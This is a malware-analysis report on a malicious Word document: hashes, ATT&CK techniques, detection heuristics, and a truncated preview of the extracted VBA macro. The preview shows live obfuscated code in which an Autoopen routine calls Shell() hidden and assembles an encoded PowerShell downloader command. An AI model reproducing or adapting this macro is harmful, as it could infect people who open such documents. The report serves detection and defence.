Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 05ace2ebb461c3ce…

MALICIOUS

Office (OLE)

123.0 KB Created: 2018-05-31 09:26:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: f19d02783395811746a99928ebb12aa9 SHA-1: 244ec922e5e2c4d3df9ddd31342f6545170b9c67 SHA-256: 05ace2ebb461c3ce9cef16d657b9f6f726050e6497ed91eed4be54ab15ce424d
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Office document containing a VBA macro with an Autoopen subroutine. This macro calls the Shell() function, which is a critical indicator of malicious activity. The script attempts to construct a PowerShell command, suggesting it's designed to download and execute a secondary payload. The obfuscated nature of the script and the lack of a clear URL prevent higher confidence in family attribution.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18331 bytes
SHA-256: c46bdd87e0a1f9f2fe814d728acb5a07e60e4dbe178afe807e1fa0f384936dfa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "vJviKlDZFUtz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function lwOFdS()
On Error Resume Next
Select Case KAlJpaMw
      Case 98328
         MZlNaG = 99216
         nBiYn = CDbl(88851)
      Case 50042
         fdEHMc = QWTHA
         pMawb = 82019
End Select
Select Case KAlIBXso
      Case 91624
         tLBOaj = 9702
         jsrRjI = CDbl(41369)
      Case 82641
         zwzwp = bLDHc
         FMTRvX = 8225
End Select
lwOFdS = fhDVRKK + Shell(bOsdZNE + Chr(vbKeyP) + QCoGdOzzaY + zGiZEDwMvkJ + VjkPltwaKFs + RNjSLiGH + FGIwi + vUcnjKZ + pDwOpPv + wHiKzIiFI + kXjjpV, SVWzPjmXlB + vbHide + YlGDzARDci)
Select Case KAlEhRUt
      Case 55320
         FJGKmK = 31839
         pwiDEZ = CDbl(6416)
      Case 43630
         cRdfXA = kRWCSh
         EMZWBw = 93817
End Select
End Function
Sub Autoopen()
On Error Resume Next
Select Case KAlToUiTN
      Case 37534
         uBKor = 55191
         ChJSZV = CDbl(77364)
      Case 26781
         HUdri = Baflw
         LthaRQ = 53526
End Select
lwOFdS
Select Case KAlItlbN
      Case 44091
         sdXUia = 88753
         wkcVr = CDbl(99239)
      Case 69835
         FiJro = sIEMMR
         jBdHO = 17437
End Select
End Sub


Attribute VB_Name = "IQTNRWjqpvkBXk"
Function QCoGdOzzaY()
On Error Resume Next
Select Case KAlJnjacX
      Case 29697
         SKwdFE = 34903
         IjKpLl = CDbl(45103)
      Case 71654
         sUsRjM = JVoCjL
         hczcNp = 25895
End Select
qRcIjV = "owersHeLL " + "-WinDowsTyle h" + "idden -e LgA" + "oACAAJABlAG4Adg"
Select Case KAlvGbCR
      Case 51939
         kXPvt = 68048
         XdizW = CDbl(40150)
      Case 68886
         PNzrd = LJKvT
         ZlpjvB = 8484
End Select
ZzuNazcTJ = "A6AEMAbw" + "BtAHMAcABl" + "AEMAWwA0ACwAM" + "gA0ACwAMgA1AF" + "0ALQBqAE8AS" + "QBuAC"
Select Case KAlRmlRIi
      Case 11216
         tPTsQ = 60635
         NFZzrY = CDbl(26793)
      Case 11270
         ZrdlnC = UQwwc
         fiwHpQ = 89736
End Select
VIohrw = "cAJwApACAAK" + "AAoACcAbgA" + "1AFYA" + "bgBzAGE" + "AJwArACcAZABh" + "AHMAZA" + "AgACcAKwAnAD0"
Select Case KAlbbtuca
      Case 42586
         MMDjm = 84747
         AUiqN = CDbl(96849)
      Case 54078
         hOlZq = kjzLWw
         jrLbf = 33491
End Select
dkWZzlDYA = "AIAAm" + "ACcAKwAn" + "ACgAbgA0" + "AGgAbg" + "AnACsAJwBuADQ" + "AaAAnACsAJwArAC" + "cAKwAnAG4A" + "JwArACcANABoAGU"
Select Case KAlmvwpn
      Case 33474
         mHZhiw = 17968
         fqBfD = CDbl(53512)
      Case 55595
         VPtBR = WPhjYf
         SwmZCz = 53704
End Select
SPHjAXwwFl = "AbgA0AGgAKwAn" + "ACsAJwBuADQAaAB" + "3AC0Abw" + "BiACcAKwA" + "nAGoAJwArACc" + "AZQBjACcAKw" + "AnAG4ANABo"
Select Case KAlirzGX
      Case 22772
         aANcJ = 79192
         ZuPjKk = CDbl(19723)
      Case 99115
         adaNuO = BdAir
         tvuQB = 78568
End Select
VInbpXlcCwO = "ACsAJwArAC" + "cAbgA0AGgAdA" + "BuADQAJ" + "wArACcAaAApACAA" + "cgAnACsA" + "JwBhACcAKwAnAG4" + "AZABvAG0AOwBuAD"
Select Case KAlTwWwrW
      Case 84696
         VnrNi = 89315
         cwwbL = CDbl(90386)
      Case 23324
         IHjBAU = tjVSii
         dWXWv = 60691
End Select
NZuIBTVC = "UAVgBZAFkAV" + "QAnAC" + "sAJwAgAD0AIA" + "AuACgAbgA0AGg" + "AbgAnACsAJw" + "BlAG4ANABoA" + "CcAKwAnACsA"
Select Case KAlJUNdUS
      Case 95764
         ZdlHw = 25986
         IVrpju = CDbl(14972)
      Case 84843
         QuVSc = pzjHw
         WXjBoa = 18196
End Select
qafwcrLZcid = "bgA0ACcAKwA" + "nAGgAJwArACcAd" + "wAnACs" + "AJwBuADQ" + "AJwArACc" + "AaAArAG4ANA" + "AnACs" + "AJwBoAC0Abw" + "BiAGoAJwArA" + "CcAZQBjAHQAJw"
Select Case KAljXjuoN
      Case 3975
         GvvBcB = 25701
         zfqVo = CDbl(74730)
      Case 51150
         ODmzLn = TwzftO
         iOBJsk = 23062
End Select
BkNQTs = "ArACcAbgA0AGgAK" + "Q
... (truncated)

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